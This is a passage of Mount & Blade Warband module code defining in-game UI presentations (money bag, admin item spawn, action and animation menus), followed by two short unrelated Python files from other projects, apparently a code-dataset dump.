[(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (neq, "$g_game_type", "mt_no_money"), (create_mesh_overlay, reg0, "mesh_mp_ui_welcome_panel"), (position_set_x, pos1, 260), (position_set_y, pos1, 300), (overlay_set_position, reg0, pos1), (position_set_x, pos2, 800), (position_set_y, pos2, 800), (overlay_set_size, reg0, pos2), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (create_button_overlay, "$g_presentation_obj_money_bag_drop", "str_drop_money_bag"), (overlay_set_color, "$g_presentation_obj_money_bag_drop", 0xFFFFFF), (position_set_x, pos1, 280), (position_set_y, pos1, 416), (overlay_set_position, "$g_presentation_obj_money_bag_drop", pos1), (overlay_set_size, "$g_presentation_obj_money_bag_drop", pos2), (create_number_box_overlay, "$g_presentation_obj_money_bag_amount", 1, max_possible_gold), (position_set_x, pos1, 650), (position_set_y, pos1, 380), (overlay_set_position, "$g_presentation_obj_money_bag_amount", pos1), (overlay_set_size, "$g_presentation_obj_money_bag_amount", pos2), (multiplayer_get_my_player, ":my_player_id"), (try_begin), (le, "$g_presentation_money_bag_amount", 0), (player_get_gold, ":my_gold", ":my_player_id"), (assign, "$g_presentation_money_bag_amount", ":my_gold"), (try_end), (overlay_set_val, "$g_presentation_obj_money_bag_amount", "$g_presentation_money_bag_amount"), (create_button_overlay, "$g_presentation_obj_money_chest_deposit", "str_deposit_money_chest"), (overlay_set_color, "$g_presentation_obj_money_chest_deposit", 0xFFFFFF), (position_set_x, pos1, 280), (position_set_y, pos1, 392), (overlay_set_position, "$g_presentation_obj_money_chest_deposit", pos1), (overlay_set_size, "$g_presentation_obj_money_chest_deposit", pos2), (create_button_overlay, "$g_presentation_obj_money_chest_withdraw", "str_withdraw_money_chest"), (overlay_set_color, "$g_presentation_obj_money_chest_withdraw", 0xFFFFFF), (position_set_x, pos1, 280), (position_set_y, pos1, 368), (overlay_set_position, "$g_presentation_obj_money_chest_withdraw", pos1), (overlay_set_size, "$g_presentation_obj_money_chest_withdraw", pos2), (try_begin), (player_is_admin, ":my_player_id"), (player_slot_eq, ":my_player_id", slot_player_admin_no_gold, 0), (create_button_overlay, "$g_presentation_obj_money_bag_admin_cheat", "str_admin_cheat_money"), (overlay_set_color, "$g_presentation_obj_money_bag_admin_cheat", 0xFFFFFF), (position_set_x, pos1, 280), (position_set_y, pos1, 344), (overlay_set_position, "$g_presentation_obj_money_bag_admin_cheat", pos1), (overlay_set_size, "$g_presentation_obj_money_bag_admin_cheat", pos2), (else_try), (assign, "$g_presentation_obj_money_bag_admin_cheat", -1), (try_end), (create_button_overlay, "$g_presentation_obj_money_bag_done", "str_done"), (overlay_set_color, "$g_presentation_obj_money_bag_done", 0xFFFFFF), (position_set_x, pos1, 670), (position_set_y, pos1, 320), (overlay_set_position, "$g_presentation_obj_money_bag_done", pos1), (overlay_set_size, "$g_presentation_obj_money_bag_done", pos2), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_money_bag_amount"), (store_trigger_param_2, "$g_presentation_money_bag_amount"), (else_try), (eq, ":object", "$g_presentation_obj_money_bag_drop"), (gt, "$g_presentation_money_bag_amount", 0), (try_begin), (gt, "$g_overflow_gold_value", max_correctly_displayed_gold), (assign, ":my_gold", "$g_overflow_gold_value"), (else_try), (multiplayer_get_my_player, ":my_player_id"), (player_get_gold, ":my_gold", ":my_player_id"), (try_end), (try_begin), (le, "$g_presentation_money_bag_amount", ":my_gold"), (multiplayer_send_int_to_server, client_event_drop_money_bag, "$g_presentation_money_bag_amount"), (else_try), (call_script, "script_preset_message", "str_dont_have_enough_money", preset_message_yellow|preset_message_fail_sound, 0, 0), (try_end), (else_try), (try_begin), (eq, ":object", "$g_presentation_obj_money_chest_deposit"), (assign, ":chest_transfer_gold", "$g_presentation_money_bag_amount"), (else_try), (eq, ":object", "$g_presentation_obj_money_chest_withdraw"), (store_mul, ":chest_transfer_gold", "$g_presentation_money_bag_amount", -1), (else_try), (assign, ":chest_transfer_gold", 0), (try_end), (neq, ":chest_transfer_gold", 0), (multiplayer_get_my_player, ":my_player_id"), (assign, ":fail_message", 0), (scene_prop_get_num_instances, ":chest_count", "spr_pw_castle_money_chest"), (try_for_range, ":chest_no", 0, ":chest_count"), (scene_prop_get_instance, ":instance_id", "spr_pw_castle_money_chest", ":chest_no"), (try_begin), (call_script, "script_cf_use_castle_money_chest", ":my_player_id", ":instance_id", ":chest_transfer_gold"), (assign, ":chest_count", -1), (else_try), (this_or_next|eq, ":fail_message", 0), (neq, reg0, "str_no_money_chest_nearby"), (assign, ":fail_message", reg0), (try_end), (try_end), (try_begin), (neq, ":chest_count", -1), (gt, ":fail_message", 0), (call_script, "script_preset_message", ":fail_message", preset_message_error, 0, 0), (try_end), (else_try), (eq, ":object", "$g_presentation_obj_money_bag_admin_cheat"), (store_mul, ":admin_cheat_amount", "$g_presentation_money_bag_amount", -1), # requesting to drop negative values = admin spawning money (multiplayer_send_int_to_server, client_event_drop_money_bag, ":admin_cheat_amount"), (else_try), (eq, ":object", "$g_presentation_obj_money_bag_done"), (presentation_set_duration, 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":current_time"), (try_begin), (gt, ":current_time", 200), (key_clicked, key_escape), (presentation_set_duration, 0), (try_end), ]), ]), ("gold", prsntf_read_only|prsntf_manual_end_only, 0, # display the player's gold, using the correct value when the engine value has been corrupted by overflow [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (neq, "$g_game_type", "mt_no_money"), (create_text_overlay, reg1, "str_empty_string", tf_right_align|tf_with_outline), (overlay_set_color, reg1, 0xFFDDD855), (position_set_x, pos1, 965), (position_set_y, pos1, 651), (overlay_set_position, reg1, pos1), (position_set_x, pos1, 1200), (position_set_y, pos1, 1200), (overlay_set_size, reg1, pos1), (assign, "$g_presentation_gold_current_value", -1), (presentation_set_duration, 9999999), ]), (ti_on_presentation_run, [(try_begin), (le, "$g_overflow_gold_value", max_correctly_displayed_gold), (multiplayer_get_my_player, ":player_id"), (player_is_active, ":player_id"), (player_get_gold, reg0, ":player_id"), (overlay_set_text, 0, "str_reg0"), (assign, "$g_presentation_gold_current_value", reg0), (else_try), (neq, "$g_presentation_gold_current_value", "$g_overflow_gold_value"), (assign, "$g_presentation_gold_current_value", "$g_overflow_gold_value"), (assign, reg0, "$g_overflow_gold_value"), (overlay_set_text, 0, "str_reg0"), (try_end), ]), ]), ("admin_item_select", prsntf_manual_end_only, 0, # allow admins to spawn any item for themselves [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg0, "mesh_mp_ui_welcome_panel"), (position_set_x, pos1, 260), (position_set_y, pos1, 300), (overlay_set_position, reg0, pos1), (position_set_x, pos2, 800), (position_set_y, pos2, 800), (overlay_set_size, reg0, pos2), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (create_text_overlay, reg1, "str_item_id"), (overlay_set_color, reg1, 0xFFFFFF), (position_set_x, pos1, 425), (position_set_y, pos1, 400), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos2), (create_number_box_overlay, "$g_presentation_obj_admin_item_select", all_items_begin, all_items_end), (position_set_x, pos1, 525), (position_set_y, pos1, 400), (overlay_set_position, "$g_presentation_obj_admin_item_select", pos1), (overlay_set_size, "$g_presentation_obj_admin_item_select", pos2), (val_clamp, "$g_presentation_admin_item_id", all_items_begin, all_items_end), (overlay_set_val, "$g_presentation_obj_admin_item_select", "$g_presentation_admin_item_id"), (str_store_item_name, s1, "$g_presentation_admin_item_id"), (create_button_overlay, "$g_presentation_obj_admin_item_equip", "str_spawn_s1", tf_center_justify), (overlay_set_color, "$g_presentation_obj_admin_item_equip", 0xFFFFFF), (position_set_x, pos1, 450), (position_set_y, pos1, 360), (overlay_set_position, "$g_presentation_obj_admin_item_equip", pos1), (position_set_x, pos1, 1200), (position_set_y, pos1, 1200), (overlay_set_size, "$g_presentation_obj_admin_item_equip", pos1), (create_button_overlay, "$g_presentation_obj_admin_item_done", "str_done"), (overlay_set_color, "$g_presentation_obj_admin_item_done", 0xFFFFFF), (position_set_x, pos1, 670), (position_set_y, pos1, 320), (overlay_set_position, "$g_presentation_obj_admin_item_done", pos1), (overlay_set_size, "$g_presentation_obj_admin_item_done", pos2), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_admin_item_select"), (store_trigger_param_2, "$g_presentation_admin_item_id"), (str_store_item_name, s1, "$g_presentation_admin_item_id"), (overlay_set_text, "$g_presentation_obj_admin_item_equip", "str_spawn_s1"), (else_try), (eq, ":object", "$g_presentation_obj_admin_item_equip"), (is_between, "$g_presentation_admin_item_id", all_items_begin, all_items_end), (multiplayer_send_int_to_server, client_event_admin_equip_item, "$g_presentation_admin_item_id"), (else_try), (eq, ":object", "$g_presentation_obj_admin_item_done"), (presentation_set_duration, 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":current_time"), (try_begin), (gt, ":current_time", 200), (key_clicked, key_escape), (presentation_set_duration, 0), (try_end), ]), ]), ("target_agent_name", prsntf_read_only|prsntf_manual_end_only, 0, # display the name of the currently targeted player or bot troop in the corner of the screen [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_text_overlay, "$g_presentation_obj_target_agent_name", "str_empty_string", tf_right_align|tf_with_outline), (position_set_x, pos1, 990), (position_set_y, pos1, 700), (overlay_set_position, "$g_presentation_obj_target_agent_name", pos1), (position_set_x, pos1, 900), (position_set_y, pos1, 900), (overlay_set_size, "$g_presentation_obj_target_agent_name", pos1), (presentation_set_duration, 999999), ]), (ti_on_presentation_run, [(try_begin), (agent_is_active, "$g_target_agent_id"), (agent_slot_eq, "$g_target_agent_id", slot_agent_is_targeted, 1), (try_begin), (neq, "$g_target_agent_id", "$g_last_target_agent_id"), (assign, "$g_last_target_agent_id", "$g_target_agent_id"), (try_begin), (agent_get_player_id, ":player_id", "$g_target_agent_id"), (player_is_active, ":player_id"), (str_store_player_username, s0, ":player_id"), (player_get_slot, ":player_faction_id", ":player_id", slot_player_faction_id), (faction_get_color, ":color", ":player_faction_id"), (else_try), (agent_get_troop_id, ":troop_id", "$g_target_agent_id"), (str_store_troop_name, s0, ":troop_id"), (assign, ":color", invalid_faction_color), (try_end), (overlay_set_color, "$g_presentation_obj_target_agent_name", ":color"), (overlay_set_text, "$g_presentation_obj_target_agent_name", "str_s0"), (try_end), (else_try), (assign, "$g_last_target_agent_id", -1), (game_key_is_down, gk_target_agent), (overlay_set_text, "$g_presentation_obj_target_agent_name", "str_empty_string"), (else_try), (presentation_set_duration, 0), (try_end), ]), ]), ("action_menu", prsntf_manual_end_only, 0, # quick menu for selecting various player actions and toggling some settings [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg0, "mesh_mp_score_a"), (position_set_x, pos1, 655), (position_set_y, pos1, 125), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 850), (position_set_y, pos1, 850), (overlay_set_size, reg0, pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable_style_2), (position_set_x, pos1, 675), (position_set_y, pos1, 153), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 270), (position_set_y, pos1, 445), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (init_position, pos2), (position_set_x, pos2, 800), (position_set_y, pos2, 800), (assign, ":cur_y", 5), (position_set_x, pos1, 0), (str_store_string, s0, "str_confirmation"), (try_begin), (eq, "$g_action_menu_confirm", -1), (str_store_string, s0, "str_enable_s0"), (else_try), (str_store_string, s0, "str_disable_s0"), (try_end), (create_button_overlay, "$g_presentation_obj_action_menu_toggle_confirm", s0), (overlay_set_color, "$g_presentation_obj_action_menu_toggle_confirm", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_action_menu_toggle_confirm", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_action_menu_toggle_confirm", pos1), (val_add, ":cur_y", action_menu_item_height), (val_clamp, "$g_action_menu_confirm", -1, 1), (assign, "$g_action_menu_confirm_overlay_id", -1), (try_for_range_backwards, ":string_id", action_menu_strings_begin, action_menu_strings_end), (create_button_overlay, reg0, ":string_id"), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", action_menu_item_height), (try_end), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":overlay_id"), (store_sub, ":string_id", action_menu_strings_end, ":overlay_id"), (val_add, ":string_id", "$g_presentation_obj_action_menu_toggle_confirm"), (assign, ":ask_confirm", 0), (try_begin), (eq, ":string_id", "str_toggle_name_labels"), (try_begin), (neg|is_presentation_active, "prsnt_display_agent_labels"), (assign, "$g_display_agent_labels", 1), (start_presentation, "prsnt_display_agent_labels"), (else_try), (assign, "$g_display_agent_labels", 0), (try_end), (else_try), (eq, ":string_id", "str_toggle_faction_in_name_labels"), (val_add, "$g_hide_faction_in_name_labels", 1), (val_mod, "$g_hide_faction_in_name_labels", 2), (else_try), (eq, ":string_id", "str_toggle_chat_overlay"), (try_begin), (neg|is_presentation_active, "prsnt_chat_overlay"), (assign, "$g_display_chat_overlay", 1), (start_presentation, "prsnt_chat_overlay"), (else_try), (assign, "$g_display_chat_overlay", 0), (try_end), (else_try), (eq, ":string_id", "str_toggle_local_faction_chat"), (assign, "$g_chat_overlay_ring_buffer_displayed", -1), (val_add, "$g_chat_overlay_type_selected", 1), (val_mod, "$g_chat_overlay_type_selected", 2), (else_try), (eq, ":string_id", "str_attach_cart_pack"), (try_begin), (multiplayer_get_my_player, ":my_player_id"), (player_is_active, ":my_player_id"), (player_get_agent_id, ":my_agent_id", ":my_player_id"), (agent_is_active, ":my_agent_id"), (agent_is_alive, ":my_agent_id"), (agent_get_wielded_item, ":weapon", ":my_agent_id", 0), (eq, ":weapon", -1), (agent_get_wielded_item, ":shield", ":my_agent_id", 1), (eq, ":shield", -1), (agent_get_attached_scene_prop, ":instance_id", ":my_agent_id"), (le, ":instance_id", 0), (set_fixed_point_multiplier, 100), (agent_get_position, pos1, ":my_agent_id"), (try_begin), # allow admins in special armor to attach carts from long distances, to retrieve them from inaccessible locations (player_is_admin, ":my_player_id"), (agent_get_item_slot, ":body_item_id", ":my_agent_id", ek_body), (this_or_next|eq, ":body_item_id", "itm_invisible_body"), (eq, ":body_item_id", "itm_black_armor"), (assign, ":maximum_sq_distance", sq(1000000)), (else_try), (assign, ":maximum_sq_distance", sq(max_distance_to_use)), (try_end), (assign, ":closest_sq_distance", ":maximum_sq_distance"), (troop_get_slot, ":loop_end", "trp_cart_array", slot_array_count), (val_add, ":loop_end", 1), (try_for_range, ":slot", slot_array_begin, ":loop_end"), # search for the nearest unattached cart (troop_get_slot, ":test_instance_id", "trp_cart_array", ":slot"), (scene_prop_get_slot, ":attached_agent_id", ":test_instance_id", slot_scene_prop_attached_to_agent), (try_begin), (agent_is_active, ":attached_agent_id"), (agent_get_attached_scene_prop, ":attached_instance_id", ":attached_agent_id"), (eq, ":attached_instance_id", ":test_instance_id"), (assign, ":test_instance_id", -1), (try_end), (prop_instance_is_valid, ":test_instance_id"), (prop_instance_get_position, pos2, ":test_instance_id"), (get_sq_distance_between_positions, ":sq_distance", pos1, pos2), (lt, ":sq_distance", ":closest_sq_distance"), (assign, ":closest_sq_distance", ":sq_distance"), (assign, ":instance_id", ":test_instance_id"), (try_end), (lt, ":closest_sq_distance", ":maximum_sq_distance"), (multiplayer_send_int_to_server, client_event_attach_scene_prop, ":instance_id"), (try_end), (else_try), (eq, ":string_id", "str_detach_cart_pack"), (try_begin), (multiplayer_get_my_player, ":my_player_id"), (player_is_active, ":my_player_id"), (player_get_agent_id, ":my_agent_id", ":my_player_id"), (agent_get_wielded_item, ":weapon", ":my_agent_id", 0), (eq, ":weapon", -1), (agent_get_wielded_item, ":shield", ":my_agent_id", 1), (eq, ":shield", -1), (multiplayer_send_message_to_server, client_event_attach_scene_prop), (try_end), (else_try), (eq, ":string_id", "str_toggle_head"), (multiplayer_send_int_to_server, client_event_toggle_drop_armor, ek_head), (else_try), (this_or_next|eq, ":string_id", "str_discard_body"), (eq, ":string_id", "str_discard_foot"), (try_begin), (neq, "$g_action_menu_confirm", -1), (neq, "$g_action_menu_confirm", ":string_id"), (assign, ":ask_confirm", 1), (else_try), (store_sub, ":equip_slot", ":string_id", "str_discard_body"), (val_add, ":equip_slot", ek_body), (multiplayer_send_int_to_server, client_event_toggle_drop_armor, ":equip_slot"), (try_end), (else_try), (eq, ":string_id", "str_toggle_hand"), (multiplayer_send_int_to_server, client_event_toggle_drop_armor, ek_gloves), (else_try), (eq, ":string_id", "str_reveal_money_pouch_to_target"), (multiplayer_get_my_player, ":my_player_id"), (assign, ":error_string_id", -1), (try_begin), (neq, "$g_game_type", "mt_no_money"), (player_is_active, ":my_player_id"), (player_get_agent_id, ":my_agent_id", ":my_player_id"), (agent_is_active, ":my_agent_id"), (agent_is_alive, ":my_agent_id"), (assign, ":error_string_id", "str_no_target_selected"), (agent_is_active, "$g_target_agent_id"), (agent_is_alive, "$g_target_agent_id"), (agent_slot_eq, "$g_target_agent_id", slot_agent_is_targeted, 1), (agent_get_player_id, ":target_player_id", "$g_target_agent_id"), (player_is_active, ":target_player_id"), (agent_get_position, pos1, ":my_agent_id"), (agent_get_position, pos2, "$g_target_agent_id"), (get_sq_distance_between_positions, ":sq_distance", pos1, pos2), (assign, ":error_string_id", "str_your_target_too_far_away"), (lt, ":sq_distance", sq(max_distance_to_use)), (multiplayer_send_int_to_server, client_event_reveal_money_pouch, "$g_target_agent_id"), (else_try), (gt, ":error_string_id", -1), (call_script, "script_preset_message", ":error_string_id", preset_message_error, 0, 0), (try_end), (else_try), (eq, ":string_id", "str_toggle_automatic_shadow_recalculation"), (val_add, "$g_disable_automatic_shadow_recalculation", 1), (val_mod, "$g_disable_automatic_shadow_recalculation", 2), (else_try), (eq, ":string_id", "str_toggle_clickable_animation_menu"), (val_add, "$g_animation_menu_no_mouse_grab", 1), (val_mod, "$g_animation_menu_no_mouse_grab", 2), (else_try), (eq, ":string_id", "str_toggle_muting_global_chat"), (val_add, "$g_mute_global_chat", 1), (val_mod, "$g_mute_global_chat", 2), (get_max_players, ":max_players"), (try_for_range, ":other_player_id", 1, ":max_players"), (player_is_active, ":other_player_id"), (player_set_is_muted, ":other_player_id", "$g_mute_global_chat"), (try_end), (try_end), (try_begin), (is_between, "$g_action_menu_confirm", action_menu_strings_begin, action_menu_strings_end), (overlay_set_text, "$g_action_menu_confirm_overlay_id", "$g_action_menu_confirm"), (assign, "$g_action_menu_confirm", 0), (assign, "$g_action_menu_confirm_overlay_id", -1), (try_end), (try_begin), (eq, ":overlay_id", "$g_presentation_obj_action_menu_toggle_confirm"), (str_store_string, s0, "str_confirmation"), (try_begin), (le, "$g_action_menu_confirm", -1), (assign, "$g_action_menu_confirm", 0), (assign, ":confirm_string_id", "str_disable_s0"), (else_try), (assign, "$g_action_menu_confirm", -1), (assign, ":confirm_string_id", "str_enable_s0"), (try_end), (overlay_set_text, ":overlay_id", ":confirm_string_id"), (try_end), (try_begin), (eq, ":ask_confirm", 1), (assign, "$g_action_menu_confirm", ":string_id"), (assign, "$g_action_menu_confirm_overlay_id", ":overlay_id"), (str_store_string, s0, ":string_id"), (overlay_set_text, ":overlay_id", "str_s0_are_you_sure"), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":current_time"), (try_begin), (gt, ":current_time", 200), (neg|game_key_is_down, gk_action_menu), (presentation_set_duration, 0), (val_min, "$g_action_menu_confirm", 0), (try_end), ]), ]), ("food_bar", prsntf_read_only|prsntf_manual_end_only, 0, # bar showing the player agent's current food amount, below the health bar [(ti_on_presentation_load, [(set_fixed_point_multiplier, 10000), (create_mesh_overlay, "$g_presentation_obj_food_bar", "mesh_pw_status_food_bar"), (position_set_x, pos1, 8603), (position_set_y, pos1, 681), (overlay_set_position, "$g_presentation_obj_food_bar", pos1), (overlay_set_display, "$g_presentation_obj_food_bar", 0), (assign, "$g_presentation_food_bar_current_amount", -1), (create_mesh_overlay, "$g_presentation_obj_food_bar_background", "mesh_pw_status_background_player"), (overlay_set_position, "$g_presentation_obj_food_bar_background", pos1), (overlay_set_display, "$g_presentation_obj_food_bar_background", 0), (presentation_set_duration, 9999999), ]), (ti_on_presentation_run, [(set_fixed_point_multiplier, max_food_amount), (multiplayer_get_my_player, ":player_id"), (try_begin), (player_is_active, ":player_id"), (player_get_agent_id, ":agent_id", ":player_id"), (agent_is_active, ":agent_id"), (agent_is_alive, ":agent_id"), (agent_get_slot, ":food_amount", ":agent_id", slot_agent_food_amount), (try_begin), (neq, "$g_presentation_food_bar_current_amount", ":food_amount"), (assign, "$g_presentation_food_bar_current_amount", ":food_amount"), (val_max, ":food_amount", 1), (position_set_x, pos1, ":food_amount"), (position_set_y, pos1, max_food_amount), (overlay_set_size, "$g_presentation_obj_food_bar", pos1), (overlay_set_display, "$g_presentation_obj_food_bar", 1), (overlay_set_display, "$g_presentation_obj_food_bar_background", 1), (try_end), (else_try), (gt, "$g_presentation_food_bar_current_amount", -1), (assign, "$g_presentation_food_bar_current_amount", -1), (overlay_set_display, "$g_presentation_obj_food_bar", 0), (overlay_set_display, "$g_presentation_obj_food_bar_background", 0), (try_end), ]), ]), ("scene_prop_hit_points_bar", prsntf_read_only|prsntf_manual_end_only, 0, # bar showing the targeted scene prop's current hit points [(ti_on_presentation_load, [(set_fixed_point_multiplier, 10000), (create_mesh_overlay, "$g_presentation_scene_prop_hit_points_bar", "mesh_pw_progress_bar"), (position_set_x, pos1, 3000), (position_set_y, pos1, 2700), (overlay_set_position, "$g_presentation_scene_prop_hit_points_bar", pos1), (position_set_x, pos1, scene_prop_hit_points_bar_scale_x), (position_set_y, pos1, scene_prop_hit_points_bar_scale_y), (overlay_set_size, "$g_presentation_scene_prop_hit_points_bar", pos1), (overlay_set_display, "$g_presentation_scene_prop_hit_points_bar", 0), (create_mesh_overlay, "$g_presentation_scene_prop_hit_points_bar_fill", "mesh_pw_progress_bar_fill"), (position_set_x, pos1, 3000), (position_set_y, pos1, 2700), (overlay_set_position, "$g_presentation_scene_prop_hit_points_bar_fill", pos1), (position_set_x, pos1, scene_prop_hit_points_bar_scale_x), (position_set_y, pos1, scene_prop_hit_points_bar_scale_y), (overlay_set_size, "$g_presentation_scene_prop_hit_points_bar_fill", pos1), (overlay_set_display, "$g_presentation_scene_prop_hit_points_bar_fill", 0), (presentation_set_duration, 9999999), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":current_time"), (set_fixed_point_multiplier, 10000), (try_begin), (gt, "$g_scene_prop_full_hit_points", 0), (store_mul, ":hit_points_value", "$g_scene_prop_hit_points", scene_prop_hit_points_bar_scale_x), (val_div, ":hit_points_value", "$g_scene_prop_full_hit_points"), (val_clamp, ":hit_points_value", 1, scene_prop_hit_points_bar_scale_x), (position_set_x, pos1, ":hit_points_value"), (position_set_y, pos1, scene_prop_hit_points_bar_scale_y), (overlay_set_size, "$g_presentation_scene_prop_hit_points_bar_fill", pos1), (overlay_set_display, "$g_presentation_scene_prop_hit_points_bar", 1), (overlay_set_display, "$g_presentation_scene_prop_hit_points_bar_fill", 1), (assign, "$g_scene_prop_full_hit_points", 0), (store_add, "$g_scene_prop_hit_points_bar_hide_time", ":current_time", 200), (else_try), (gt, "$g_show_hit_points_instance_id", -1), (gt, ":current_time", "$g_scene_prop_hit_points_bar_hide_time"), (overlay_set_display, "$g_presentation_scene_prop_hit_points_bar", 0), (overlay_set_display, "$g_presentation_scene_prop_hit_points_bar_fill", 0), (assign, "$g_show_hit_points_instance_id", -1), (try_end), ]), ]), ]) prsnt_animation_menu_triggers = [ # common triggers for the animation menu presentations below (ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (troop_get_slot, ":begin_string_id", "trp_animation_menu_strings", "$g_animation_menu_selected"), (store_add, ":end_slot", "$g_animation_menu_selected", animation_menu_end_offset), (troop_get_slot, ":end_string_id", "trp_animation_menu_strings", ":end_slot"), (store_sub, ":menu_items_count", ":end_string_id", ":begin_string_id"), (try_begin), # end if the current sub menu selected has no entries (le, ":menu_items_count", 0), (assign, "$g_animation_menu_selected", 0), (assign, "$g_presentation_obj_animation_menu_begin", 0), (assign, "$g_presentation_obj_animation_menu_end", 0), (try_end), (gt, ":menu_items_count", 0), (position_set_x, pos10, 1000), (position_set_y, pos10, 800), (assign, ":y_pos", 500), (try_for_range, reg0, ":begin_string_id", ":end_string_id"), (create_mesh_overlay, reg1, "mesh_mp_ui_order_button"), (position_set_x, pos1, 5), (position_set_y, pos1, ":y_pos"), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos10), (val_sub, ":y_pos", animation_menu_item_height), (try_end), (position_set_x, pos10, 800), (store_add, "$g_presentation_obj_animation_menu_begin", reg1, 1), (assign, ":y_pos", 508), (assign, reg0, 1), (assign, ":key", key_1), (try_for_range, ":string_id", ":begin_string_id", ":end_string_id"), # create the buttons with consecutive overlay ids, after all frames (str_store_string, s0, ":string_id"), (create_button_overlay, reg1, "str_reg0__s0"), (overlay_set_color, reg1, 0xFFFFFF), (position_set_x, pos1, 10), (position_set_y, pos1, ":y_pos"), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos10), (val_sub, ":y_pos", animation_menu_item_height), (val_add, reg0, 1), (omit_key_once, ":key"), (val_add, ":key", 1), (try_end), (store_add, "$g_presentation_obj_animation_menu_end", reg1, 1), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":overlay_id"), (is_between, ":overlay_id", "$g_presentation_obj_animation_menu_begin", "$g_presentation_obj_animation_menu_end"), (store_sub, ":menu_item", ":overlay_id", "$g_presentation_obj_animation_menu_begin"), (try_begin), # main menu: show a sub menu (eq, "$g_animation_menu_selected", 0), (clear_omitted_keys), (presentation_set_duration, 0), (start_presentation, "prsnt_animation_menu"), (store_add, "$g_animation_menu_selected", ":menu_item", 1), (else_try), # animation entry clicked on (troop_get_slot, ":string_id", "trp_animation_menu_strings", "$g_animation_menu_selected"), (val_add, ":string_id", ":menu_item"), (multiplayer_get_my_player, ":my_player_id"), (player_is_active, ":my_player_id"), (call_script, "script_cf_try_execute_animation", ":my_player_id", ":string_id", 0), (clear_omitted_keys), (presentation_set_duration, 0), (assign, "$g_animation_menu_selected", 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":current_time"), (try_begin), (gt, ":current_time", 200), (key_clicked, key_escape), (clear_omitted_keys), (presentation_set_duration, 0), (assign, "$g_animation_menu_selected", 0), (else_try), (multiplayer_get_my_player, ":my_player_id"), (player_is_active, ":my_player_id"), (assign, ":key", key_1), (assign, ":loop_end", "$g_presentation_obj_animation_menu_end"), (try_for_range, ":overlay_id", "$g_presentation_obj_animation_menu_begin", ":loop_end"), (store_sub, ":menu_item", ":overlay_id", "$g_presentation_obj_animation_menu_begin"), (troop_get_slot, ":string_id", "trp_animation_menu_strings", "$g_animation_menu_selected"), (val_add, ":string_id", ":menu_item"), (try_begin), # check pressed number keys, to select menu entries (key_clicked, ":key"), (try_begin), (eq, "$g_animation_menu_selected", 0), (assign, ":loop_end", -1), (clear_omitted_keys), (presentation_set_duration, 0), (store_add, "$g_animation_menu_selected", ":menu_item", 1), (try_begin), (eq, "$g_animation_menu_no_mouse_grab", 1), (start_presentation, "prsnt_animation_menu_no_mouse_grab"), (else_try), (start_presentation, "prsnt_animation_menu"), (try_end), (else_try), (call_script, "script_cf_try_execute_animation", ":my_player_id", ":string_id", 0), (assign, ":loop_end", -1), (clear_omitted_keys), (presentation_set_duration, 0), (assign, "$g_animation_menu_selected", 0), (else_try), (omit_key_once, ":key"), (try_end), (try_end), (neq, ":loop_end", -1), (val_add, ":key", 1), (try_begin), # check if the animation can currently be played, coloring the text differently depending on the result (call_script, "script_cf_try_execute_animation", ":my_player_id", ":string_id", 1), (try_begin), (this_or_next|eq, "$g_animation_menu_selected", 0), (ge, reg0, 2), (overlay_set_color, ":overlay_id", 0xFFFFFF), (else_try), (ge, reg0, 1), (overlay_set_color, ":overlay_id", 0xCC5555), (else_try), (overlay_set_color, ":overlay_id", 0x888888), (try_end), (try_end), (try_end), (try_end), ]), ] presentations.extend([ ("animation_menu", prsntf_manual_end_only, 0, prsnt_animation_menu_triggers), # animation menu that grabs mouse input, and can be clicked on ("animation_menu_no_mouse_grab", prsntf_manual_end_only|prsntf_read_only, 0, prsnt_animation_menu_triggers), # animation menu that doesn't grab input, entries being selected with number keys ])
RaJiska/Warband-PW-Punishments-Manager
scripts/module_presentations.py
Python
gpl-3.0
238,945
from os.path import dirname, basename, isfile import glob # Allow use of from locales import * modules = glob.glob(dirname(__file__)+"/*.py") __all__ = [ basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')]
bobintetley/asm3
src/asm3/locales/__init__.py
Python
gpl-3.0
238
from ..exports import (ObjectCollectorMixin, RegistryInstallerMixin, ListCollector) from ...presentation.settings import SettingsManager class Settings(ObjectCollectorMixin, RegistryInstallerMixin, ListCollector): """ Collect settings fields from components. """ export_key = 'settings' registry_class = SettingsManager ext_name = 'settings'
Outernet-Project/librarian
librarian/core/collectors/settings.py
Python
gpl-3.0
391
